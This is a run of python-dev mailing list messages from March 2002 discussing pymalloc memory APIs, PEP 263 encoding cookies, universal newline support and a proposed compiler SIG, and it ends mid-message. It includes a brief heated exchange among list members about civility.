In-Reply-To: <E16lwek-0002Au-00@usw-sf-web1.sourceforge.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEMPOEAA.tim.one@comcast.net>

[Guido]
> ...
> Random gripe: why doesn't inspect.py use string methods? The
> string module looks soooooooo dorky...

Ping went to great pains to ensure that inspect.py and pydoc.py worked
verbatim with all Python versions back through 1.5.2.  I gave up on that for
2.2, but didn't go out of my way to break it either.



From guido@python.org  Fri Mar 15 19:00:51 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 14:00:51 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Fri, 15 Mar 2002 13:52:04 EST."
 <LNBBLJKPBEHFEDALKOLCOEMNOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEMNOEAA.tim.one@comcast.net>
Message-ID: <200203151900.g2FJ0p004304@pcp742651pcs.reston01.va.comcast.net>

> [Tim]
> >> I wonder whether it's actually a good idea for PyMem_New (etc) to ...
> 
> [Guido]
> > Well, then you would have to provide yet another set of macros that
> > don't require the GIL, for use by extensions that need to allocate
> > memory while not holding the GIL.

[Tim]
> BTW, where does it say it's OK to use PyMem_XXX when not holding the GIL?
> The only exceptions I know of to "the GIL rule" are listed in the "Thread
> State and the Global Interpreter Lock" section, and that doesn't mention
> PyMem_XXX.  The PyMem_XXX docs don't mention it either, ditto any code
> comments I've been able to find.

Probably because PyMem didn't exist when that section was written.

> I guess it's an intended exception (else you wouldn't have written the
> above), but I want to make sure.

Now that you mention it, I'm not at all sure.  I just assumed this
because the implementation always ends up calling malloc/realloc/free
and nothing else, and *those* are definitely allowed outside the GIL.

I think what's documented is of little value here given that few
people bother to read it, and most people instead read the source. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jon+python-dev@unequivocal.co.uk  Fri Mar 15 19:13:37 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Fri, 15 Mar 2002 19:13:37 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23>; from just@letterror.com on Fri, Mar 15, 2002 at 07:24:11PM +0100
References: <20020315174833.E6386@snowy.squish.net> <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23>
Message-ID: <20020315191337.G6386@snowy.squish.net>

Just van Rossum <just@letterror.com> wrote:
>   "weird shit"
>   "Dark Path to Perlishness"
>   "stupid things"
>   "operating system's fault"
> 
> While that may not technically be name calling, it definitely
> doesn't qualify as "nice".

Sheesh, how thin-skinned can people get?


From akuchlin@mems-exchange.org  Fri Mar 15 19:16:39 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 15 Mar 2002 14:16:39 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203151829.g2FIT9604039@pcp742651pcs.reston01.va.comcast.net>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <20020315174032.GB31185@ute.mems-exchange.org> <200203151829.g2FIT9604039@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020315191639.GA31485@ute.mems-exchange.org>

On Fri, Mar 15, 2002 at 01:29:09PM -0500, Guido van Rossum wrote:
>> Should the redirector be moved to www.python.org/bugs/NNNN/ ?  (Or
>> maybe /dev/bugs/NNN, and then we can create a /dev/ section for
>> developers.)
>
>Sounds like a plan.  We already have a /peps/ redirectory (sort of).

How about I cut up the python-dev HOWTO, convert it from TeX to HTML,
and try to turn it into the start of a /dev/ section?  I can try to do
that this weekend and put the prototype on amk.ca somewhere before
checking it in to CVS.

--amk                                                             (www.amk.ca)
  "Naked! So I can see no pranks and ruses."
  "What quaint English. They make an unpredictable linguistic duo."
    -- Simato and Philip, in Peter Greenaway's _8 1/2 Women_



From tim.one@comcast.net  Fri Mar 15 19:19:50 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 14:19:50 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203151900.g2FJ0p004304@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENCOEAA.tim.one@comcast.net>

[Guido]
> ...
> I think what's documented is of little value here given that few
> people bother to read it, and most people instead read the source. :-(

Heh.  That gets me back to where I landed many months ago:  because people
*do* rely on what the code has actually done, and what the code has actually
done is expand to platform "malloc" and "free", the only truly safe way to
start using pymalloc is to map all the existing macros to malloc and free
directly, and change the core to use a new API (which motivated extension
authors would be welcome to use too, provided they agreed to believe the new
API's docs <wink>).  I expect a much simpler API would be possible if it
were YAGNI-free -- even the very old distinction between "plain memory" and
"object memory" has proved to be a YAGNI (worse, is actively getting in the
way now).

> ...
> Tim, do you think you're ready to make a specific proposal?

No, and until we make up our minds about whether to start over, it's really
two or three different proposals.



From stephen@xemacs.org  Fri Mar 15 19:23:38 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 16 Mar 2002 04:23:38 +0900
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <3C922ABC.5E5718DE@lemburg.com>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
Message-ID: <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "mal" == mal  <M.-A.> writes:

    mal> I have reworded the phase 1 implementation as follows:

    mal>     1. Implement the magic comment detection, but only apply
    mal> the detected encoding to Unicode literals in the source file.

a. Does this really make sense for UTF-16?  It looks to me like a
great way to induce bugs of the form "write a unicode literal
containing 0x0A, then translate it to raw form by stripping the u
prefix."

b. No editor is likely to implement correct display to distinguish
between u"" and just "".

c. This definitely breaks Emacs coding cookie semantics.  Emacs
applies the coding cookie to the whole buffer.  I don't see a way to
lose offhand, but this is sufficiently subtle that I don't want to
break my head trying to prove that you can't lose, either.

d. You probably have to deprecate ISO 2022 7-bit coding systems, too,
because people will try to get the representation of a string by
inputting a raw string in coded form.  This might contain a quote
character.

e. This causes problems for UTF-8 transition, since people will want
to put arbitrary byte strings in a raw string.  But these will not be
legal UTF-8 files, even though they have a UTF-8 coding cookie.
People who are trying to do the right thing will have the rules
changed again later, most likely.

This means that until editors reliably implement b. and similar
features, developers must change coding systems to type raw strings
and Unicode strings.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From vladimir.marangozov@optimay.com  Fri Mar 15 19:24:14 2002
From: vladimir.marangozov@optimay.com (Vladimir Marangozov)
Date: Fri, 15 Mar 2002 20:24:14 +0100
Subject: [Python-Dev] Re: Activating pymalloc
Message-ID: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>

Hi guys,

I am trying to follow remotely python-dev from time to time
but I can't be very active as I used to be. Sorry about that.
Still, I can be reached at Vladimir.Marangozov@optimay.com
so if I can be of any help in the areas I was involved in,
you can always cc me.

I just browsed quickly this thread and I agree on almost all
issues:

1. The docs are not perfect and should be updated. Especially
   what Tim mentioned -- adding a table summarizing the APIs
   would be helpful. My original intention for the docs was to
   strip off some internal details that the usual extension
   writer doesn't have to know about. But Guido is right that
   the comments in the .h files are the reference and they are
   probably much clearer.

2. I agree that the macro chain (especially on the pymalloc side)
   is not so useful at the end, so maybe all PyCore_ macros can be
   removed. The function names of the allocator can be cast in
   stone and then _THIS_xxx in obmalloc.c replaced with them.

3. I do not agree however that one would want to explicitly call
   pymalloc. Access to the object allocator should be done through
   PyObject_xxx, and to the memory allocator through PyMem_.

4. Originally, I excluded PyMem_ to use pymalloc because profiling
   showed that more than 90% of all small allocations are object
   allocations. So non-object allocations were either big (in which
   case pymalloc is just overhead), either accounted for a very
   small percentage which can be neglected. This is the reason why
   pymalloc became obmalloc. Practical reasons.

5. About breaking extensions -- in early versions of pymalloc I had
   debugging support built-in which basically detected when a block
   allocated with malloc was free'd or realloc'd with pymalloc.
   I used this at the time to cleanup the baseline and the standard
   extensions shipped with 2.0 from mixed API usage. After that was
   done, though, I removed this as I thought that it won't be of
   much help. Apparently, I was wrong and perhaps this debugging
   functionality would be helpful. Still, the way to go is to fix
   the 'faulty' modules and document better the concepts. Yes, 1.5.2
   would be the primary victims here but the memory work was done
   post 1.5.2 and people can't stop Python from evolving.

6. To be honest, it escaped my eyes too that PyObject_NEW is no faster
   than PyObject_New. Yes -- redirect the macros to the functions.

More generally, as a historical recap, the goal originally was to
introduce the core concepts on Python heap & Python object heap
through the APIs which was a precondition for any python-specific
allocator work. Once this was done, the integration of a python
malloc had to be as seemless as possible, the switching to
its use as well, and this is probably where some of the macro
layers were introabused (in my eyes, not a big deal anyway). So look
at it on the bright side -- the goals are now almost achieved :-)

Anything else I can help you with?

Vladimir


From guido@python.org  Fri Mar 15 19:26:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 14:26:05 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Fri, 15 Mar 2002 19:13:37 GMT."
 <20020315191337.G6386@snowy.squish.net>
References: <20020315174833.E6386@snowy.squish.net> <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23>
 <20020315191337.G6386@snowy.squish.net>
Message-ID: <200203151926.g2FJQ5j04439@pcp742651pcs.reston01.va.comcast.net>

> Sheesh, how thin-skinned can people get?

John, you're cruisin' for a bruisin', as my mother-in-laws says. :-)

You stepped out of line.  Be a man and apologize, so we can get on
with business.  I'd be happy to throw you out of Python-dev for
wasting my time.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 19:26:38 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 14:26:38 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Fri, 15 Mar 2002 14:16:39 EST."
 <20020315191639.GA31485@ute.mems-exchange.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <20020315174032.GB31185@ute.mems-exchange.org> <200203151829.g2FIT9604039@pcp742651pcs.reston01.va.comcast.net>
 <20020315191639.GA31485@ute.mems-exchange.org>
Message-ID: <200203151926.g2FJQc704450@pcp742651pcs.reston01.va.comcast.net>

> How about I cut up the python-dev HOWTO, convert it from TeX to HTML,
> and try to turn it into the start of a /dev/ section?  I can try to do
> that this weekend and put the prototype on amk.ca somewhere before
> checking it in to CVS.

Cool!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@zope.com  Fri Mar 15 19:27:14 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 14:27:14 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <20020315174032.GB31185@ute.mems-exchange.org>
 <200203151829.g2FIT9604039@pcp742651pcs.reston01.va.comcast.net>
 <20020315191639.GA31485@ute.mems-exchange.org>
Message-ID: <15506.19218.564837.325605@anthem.wooz.org>

>>>>> "AK" == Andrew Kuchling <akuchlin@mems-exchange.org> writes:

    AK> How about I cut up the python-dev HOWTO, convert it from TeX
    AK> to HTML, and try to turn it into the start of a /dev/ section?
    AK> I can try to do that this weekend and put the prototype on
    AK> amk.ca somewhere before checking it in to CVS.

+1, but go ahead, check it in and push it out. :)
-Barry


From guido@python.org  Fri Mar 15 19:32:37 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 14:32:37 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Fri, 15 Mar 2002 14:19:50 EST."
 <LNBBLJKPBEHFEDALKOLCEENCOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEENCOEAA.tim.one@comcast.net>
Message-ID: <200203151932.g2FJWbO04496@pcp742651pcs.reston01.va.comcast.net>

> Heh.  That gets me back to where I landed many months ago: because
> people *do* rely on what the code has actually done, and what the
> code has actually done is expand to platform "malloc" and "free",
> the only truly safe way to start using pymalloc is to map all the
> existing macros to malloc and free directly, and change the core to
> use a new API (which motivated extension authors would be welcome to
> use too, provided they agreed to believe the new API's docs <wink>).
> I expect a much simpler API would be possible if it were YAGNI-free
> -- even the very old distinction between "plain memory" and "object
> memory" has proved to be a YAGNI (worse, is actively getting in the
> way now).

Of course, we'd still have several sets of macros, because of the need
to be able to say different things: allocate and initialize an object,
initialize an object, deinitialize an object and free its memory,
deinitialize an object without freeing its memory; and the GC
variations of all these; and macros that take type arguments used for
convenient casting.  (Initializing and deinitializing an object are
things like setting the refcount to 1 and initializing the type
pointer, but various debugging modes add functionalities like counting
allocations and linking all objects together in a doubly-linked list.)

> > Tim, do you think you're ready to make a specific proposal?
> 
> No, and until we make up our minds about whether to start over, it's
> really two or three different proposals.

Assuming we're ready to start over, I'd like to see a minimal proposal
so we can discuss something concrete.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 19:39:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 14:39:05 -0500
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: Your message of "16 Mar 2002 04:23:38 +0900."
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net> <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>

> a. Does this really make sense for UTF-16?  It looks to me like a
> great way to induce bugs of the form "write a unicode literal
> containing 0x0A, then translate it to raw form by stripping the u
> prefix."

Of course not. I don't expect anyone to put UTF-16 in their source
encoding cookie.  But should we bother making a list of encodings that
shouldn't be used?

> b. No editor is likely to implement correct display to distinguish
> between u"" and just "".

That's fine.  Given phase 2, the editor should display the entire file
using the encoding given in the cookie, despite that phase 1 only
applies the encoding to u"" literals.  The rest of the file is
supposed to be ASCII, and if it isn't, that's the user's problem.

> c. This definitely breaks Emacs coding cookie semantics.  Emacs
> applies the coding cookie to the whole buffer.  I don't see a way to
> lose offhand, but this is sufficiently subtle that I don't want to
> break my head trying to prove that you can't lose, either.

I wouldn't worry about that, see above.

> d. You probably have to deprecate ISO 2022 7-bit coding systems, too,
> because people will try to get the representation of a string by
> inputting a raw string in coded form.  This might contain a quote
> character.

Good point.  This sounds like a documentation issue at worst.

> e. This causes problems for UTF-8 transition, since people will want
> to put arbitrary byte strings in a raw string.

I'm not sure I understand.  What do you call a raw string?  Do you
mean an r"" literal?  Why would people want to use that for arbitrary
binary data?  Arbitrary binary data should *always* be encoded using
\xDD hex or \OOO octal escapes.

> But these will not be
> legal UTF-8 files, even though they have a UTF-8 coding cookie.
> People who are trying to do the right thing will have the rules
> changed again later, most likely.

If you're trying to do the right thing you shouldn't be putting
arbitrary binary data in any string literal.

> This means that until editors reliably implement b. and similar
> features, developers must change coding systems to type raw strings
> and Unicode strings.

Sounds like a YAGNI to me.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From paul@prescod.net  Fri Mar 15 19:38:56 2002
From: paul@prescod.net (Paul Prescod)
Date: Fri, 15 Mar 2002 11:38:56 -0800
Subject: [Python-Dev] Next version of PEP278 - universal newline support -
 available
References: <20020315174833.E6386@snowy.squish.net> <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23> <20020315191337.G6386@snowy.squish.net>
Message-ID: <3C924DD0.9BED0D1A@prescod.net>

Jon Ribbens wrote:
> 
> Just van Rossum <just@letterror.com> wrote:
> >   "weird shit"
> >   "Dark Path to Perlishness"
> >   "stupid things"
> >   "operating system's fault"
> >
> > While that may not technically be name calling, it definitely
> > doesn't qualify as "nice".
> 
> Sheesh, how thin-skinned can people get?

NOW you're name calling. ;) ;) ;)

Maybe you pooh-pooh heads should stop the meta-thread and get back to
the technical issues.

 Paul Prescod


From jeremy@zope.com  Fri Mar 15 19:47:45 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 14:47:45 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: <3C923D22.6CA4BF56@metaslash.com>
Message-ID: <web-3747943@digicool.com>

On Fri, 15 Mar 2002 13:27:46 -0500
 Neal Norwitz <neal@metaslash.com> wrote:
> > On the other hand, I plan to work on a new AST for the
> > compiler builtin to the interpreter.  I expect it will
> be
> > quite similar to the compiler package's AST, but
> perhaps not
> > exactly the same.  It might be better if CPython and
> Jython
> > standardized an AST as part of the 2.3 development
> cycle.
> > Then pychecker2 could use it.
> 
> I think this is a great idea!  Let me know if I can help.

'twould be much appreciated.

I wonder if the Powers That Be might consider reviving the
compiler sig.  There's a lot of detailed discussion to have,
and I'm not sure python-dev is the right place.

I could post a short summary of action items for 2.3
development on this list, but I'd rather see detailed
discussion elsewhere.

Jeremy


From pedroni@inf.ethz.ch  Fri Mar 15 19:51:52 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Fri, 15 Mar 2002 20:51:52 +0100
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
References: <web-3747943@digicool.com>
Message-ID: <042101c1cc5a$da6ec520$6d94fea9@newmexico>

From: Jeremy Hylton <jeremy@zope.com>
> 
> I wonder if the Powers That Be might consider reviving the
> compiler sig.  There's a lot of detailed discussion to have,
> and I'm not sure python-dev is the right place.
> 
> I could post a short summary of action items for 2.3
> development on this list, but I'd rather see detailed
> discussion elsewhere.
> 

Will you need Jython side feeback and comments?

regards.



From jon+python-dev@unequivocal.co.uk  Fri Mar 15 19:53:29 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Fri, 15 Mar 2002 19:53:29 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203151926.g2FJQ5j04439@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Fri, Mar 15, 2002 at 02:26:05PM -0500
References: <20020315174833.E6386@snowy.squish.net> <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23> <20020315191337.G6386@snowy.squish.net> <200203151926.g2FJQ5j04439@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020315195329.I6386@snowy.squish.net>

Guido van Rossum <guido@python.org> wrote:
> You stepped out of line.  Be a man and apologize,

I, like, totally apologise for whatever it is that I did.

> I'd be happy to throw you out of Python-dev for wasting my time.

<shrug> Your loss if you do.


From jeremy@zope.com  Fri Mar 15 19:55:38 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 14:55:38 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: <042101c1cc5a$da6ec520$6d94fea9@newmexico>
Message-ID: <web-3748016@digicool.com>

On Fri, 15 Mar 2002 20:51:52 +0100
 "Samuele Pedroni" <pedroni@inf.ethz.ch> wrote:
> > I could post a short summary of action items for 2.3
> > development on this list, but I'd rather see detailed
> > discussion elsewhere.
> > 
> 
> Will you need Jython side feeback and comments?

It would be good if the AST we chose for CPython didn't
cause any problems for Jython, so yes.  I'll try to post a
little plan of action this evening.

Jeremy


From barry@zope.com  Fri Mar 15 19:57:21 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 14:57:21 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
References: <3C923D22.6CA4BF56@metaslash.com>
 <web-3747943@digicool.com>
Message-ID: <15506.21025.852148.765708@anthem.wooz.org>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> I wonder if the Powers That Be might consider reviving the
    JH> compiler sig.

I'd have no problem with that, as long as there's a clear mission and
a champion.

-Barry


From tim.one@comcast.net  Fri Mar 15 19:59:59 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 14:59:59 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203151932.g2FJWbO04496@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMENGOEAA.tim.one@comcast.net>

[Guido]
> Of course, we'd still have several sets of macros, because of the need
> to be able to say different things: allocate and initialize an object,
> initialize an object, deinitialize an object and free its memory,
> deinitialize an object without freeing its memory; and the GC
> variations of all these; and macros that take type arguments used for
> convenient casting.  (Initializing and deinitializing an object are
> things like setting the refcount to 1 and initializing the type
> pointer, but various debugging modes add functionalities like counting
> allocations and linking all objects together in a doubly-linked list.)

Yup!  Count 'em all up, and I bet there are easily 100 function and macro
names mixed into this by now.

> ...
> Assuming we're ready to start over, I'd like to see a minimal proposal
> so we can discuss something concrete.

So would I.  I was up writing about this 'til 6 in the morning because
there's no time for it here.  I should be doing (many) other things now too
instead, especially Zope things.

I expect that either Neal or Vladimir could come up with a better compromise
position than I could, if they had time to work on it.

out-of-gas-ly y'rs  - tim



From jeremy@zope.com  Fri Mar 15 20:02:47 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 15:02:47 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: <15506.21025.852148.765708@anthem.wooz.org>
Message-ID: <web-3748122@digicool.com>

If you could revive the mailing list, I'll update the Web
pages.

There is a clear short-term mission:

Design and implement a new builtin compiler for Python 2.3.
The primary goal of the redesign is to provide better
intermediate representation(s) so that the compiler is
easier to maintain and extend.  One benefit is to enable
optimizations by providing better tools for analyzing
programs during bytecode compiling.

In the long term, it seems helpful to have a compiler-sig
where these issues can be discussed.  I imagine the list
could be dormant for long periods of time, but it's nice to
know it's there when people find time for new development.

Jeremy


From martin@v.loewis.de  Fri Mar 15 20:02:59 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:02:59 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEJOOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEJOOEAA.tim.one@comcast.net>
Message-ID: <m3lmctvbt8.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> but the crucial phrase "the same memory API family" is left undefined.  At a
> minimum, it needs to identify "the memory API families" by explicit,
> exhaustive enumeration.  The mess in practice is a fact, and proves people
> don't understand what the docs are *trying* to say here.  I'm not sure
> myself.

I always thought the notion of a "memory API family" is fairly obvious
- none of those families has more than three members. There is always
one for allocation and one for deallocation, and perhaps one for
reallocation. That's it.

> Like, are the functions and macros interchangeable?  

Of course not. You use the macros for efficiency, accepting that you
incorporate the implementation in your code, which results in a
depenency between the binary extension module and the binary Python
installation.

> For example, if you know something was allocated via PyMem_Malloc,
> is it OK to release it via PyMem_FREE?  I simply can't guess from
> what the docs say, again because what constitutes "a family" is left
> undefined.

If you buy the notion of memory API families, you cannot deallocate
the things this way. In Python, you will typically have the
deallocation code in the same translation unit as the allocation, so
this is an issue that rarely arises. If it does arise, whoever gives
you the memory should also tell you how to deallocate it.

Of course, you will get away with mixing the macro and non-macro
versions, atleast if you are not crossing Python version boundaries.
Do that and you are on your own, though (if desired, Python could
easily guarantee that you can mix APIs in this way, but I see no need
for that guarantee).

> So far we've covered more than two dozen spellings (even without plain
> "malloc" and "free"), spread over at least 4 manual pages.  One compact
> table listing all of them in "legal" pairs would be an enormous help.

If you think so ... If I can get the TeX to create a table for me,
I'll see whether I can produce a table. More likely, Fred will have to
fix it...

> Not well enough to use with confidence, no.  I've seen the docs before,
> although I did miss the Examples section previously.  I have a fancy editor
> with an integrated symbol database, and in practice I chase down the macros
> and functions until I see what they *do* at the leaves.  The endless layers
> of indirection macros make this quite a pain

I'm also uncomfortable with those. Fortunately, the family of the
"object allocator" does not deserve being documented - I doubt anybody
will ever need this. Also, the overriding hooks for replacing the
function names and signatures don't need to be documented.

> Which API?

PyObject_MALLOC/REALLOC/FREE, and PyCore_* (both object and raw).

> Well, to a first approximation, just searching for "free(" is valuable!  In
> the Python source, the thread implementations use malloc and free on
> purpose, but it also turns up a curious
> 
> 		    free((char *)Py_FileSystemDefaultEncoding);
[...]
> Does that mean that, on Windows, we may free() a static char*?!

Of course not. This is wrapped in

#if defined(HAVE_LANGINFO_H) && defined(CODESET)

neither of which is defined on Windows.

Regards,
Martin


From jeremy@zope.com  Fri Mar 15 20:18:51 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 15:18:51 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.16769.311606.739858@grendel.zope.com>
Message-ID: <web-3748279@digicool.com>

I just did a fresh checkout and don't see any obvious
problems with it.  It's currently downloading 274 open bugs.

What more do people want?  I'm happy to add developers, etc.

Jeremy


From martin@v.loewis.de  Fri Mar 15 19:45:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 20:45:56 +0100
Subject: [Python-Dev] Use of PyObject_NEW
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEJIOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEJIOEAA.tim.one@comcast.net>
Message-ID: <m3pu25vcln.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> > I recommend to deprecate PyObject_NEW (and correspondingly
> > PyObject_NEW_VAR, PyObject_DEL).
> 
> I think that's pointless -- lots of code uses these things, and we have no
> effective way to deprecate pieces of the C API anyway.  I'd be in favor of
> redefining
> 
> #define PyObject_NEW PyObject_New
> 
> to get rid of the MemoryError bug, though.

Will do. I'll also change the docs to tell people tha the macros are
there for historic reasons, only.

Regards,
Martin


From jeremy@zope.com  Fri Mar 15 20:37:56 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 15:37:56 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <web-3748279@digicool.com>
Message-ID: <web-3748496@digicool.com>

On Fri, 15 Mar 2002 15:18:51 -0500
 "Jeremy Hylton" <jeremy@zope.com> wrote:
> I just did a fresh checkout and don't see any obvious
> problems with it.  It's currently downloading 274 open
> bugs.
> 
> What more do people want?  I'm happy to add developers,
> etc.

I also created sftools-list@lists.sourceforge.net.

Jeremy


From paul@svensson.org  Fri Mar 15 20:31:47 2002
From: paul@svensson.org (Paul Svensson)
Date: Fri, 15 Mar 2002 15:31:47 -0500 (EST)
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEENCOEAA.tim.one@comcast.net>
Message-ID: <Pine.LNX.4.21.0203151527260.657-100000@familjen.svensson.org>

On Fri, 15 Mar 2002, Tim Peters wrote:

>[Guido]
>> ...
>> I think what's documented is of little value here given that few
>> people bother to read it, and most people instead read the source. :-(
>
>Heh.  That gets me back to where I landed many months ago:  because people
>*do* rely on what the code has actually done, and what the code has actually
>done is expand to platform "malloc" and "free", the only truly safe way to
>start using pymalloc is to map all the existing macros to malloc and free
>directly, and change the core to use a new API (which motivated extension
>authors would be welcome to use too, provided they agreed to believe the new
>API's docs <wink>).  I expect a much simpler API would be possible if it
>were YAGNI-free -- even the very old distinction between "plain memory" and
>"object memory" has proved to be a YAGNI (worse, is actively getting in the
>way now).
>
>> ...
>> Tim, do you think you're ready to make a specific proposal?
>
>No, and until we make up our minds about whether to start over, it's really
>two or three different proposals.

One advantage of starting over is that it makes the compile time option
to complain about incorrect usage much easier to implement --
just complain about anything using the old names.

	/Paul



From tim.one@comcast.net  Fri Mar 15 20:46:43 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 15:46:43 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3lmctvbt8.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENLOEAA.tim.one@comcast.net>

[Tim]
>> but the crucial phrase "the same memory API family" is left undefined.

[martin@v.loewis.de]
> I always thought the notion of a "memory API family" is fairly obvious
> - none of those families has more than three members.

How do you know?  The phrase simply isn't defined.  "Fairly obvious" isn't
reference-doc quality, and I clearly disagreed the first time around that
"it's obvious".  That means it isn't <wink>.

> There is always one for allocation and one for deallocation, and
> perhaps one for reallocation. That's it.

Perhaps.

>> Like, are the functions and macros interchangeable?

> Of course not. You use the macros for efficiency, accepting that you
> incorporate the implementation in your code, which results in a
> depenency between the binary extension module and the binary Python
> installation.

I wasn't talking about efficiency or binary compatibility, just about what
(exactly) constitutes "same memory API family" (which, BTW, belongs in the
reference docs proper, not in the middle of a page of examples).

>> For example, if you know something was allocated via PyMem_Malloc,
>> is it OK to release it via PyMem_FREE?  I simply can't guess from
>> what the docs say, again because what constitutes "a family" is left
>> undefined.

> If you buy the notion of memory API families,

I'd be delighted to, if the concept were spelled out.

> you cannot deallocate the things this way.
> ...
> Of course, you will get away with mixing the macro and non-macro
> versions, at least if you are not crossing Python version boundaries.
> Do that and you are on your own, though (if desired, Python could
> easily guarantee that you can mix APIs in this way, but I see no need
> for that guarantee).

I see nothing in the docs either forbidding or allowing such mixture; your
view relies on the personal understanding of "memory API family" you've
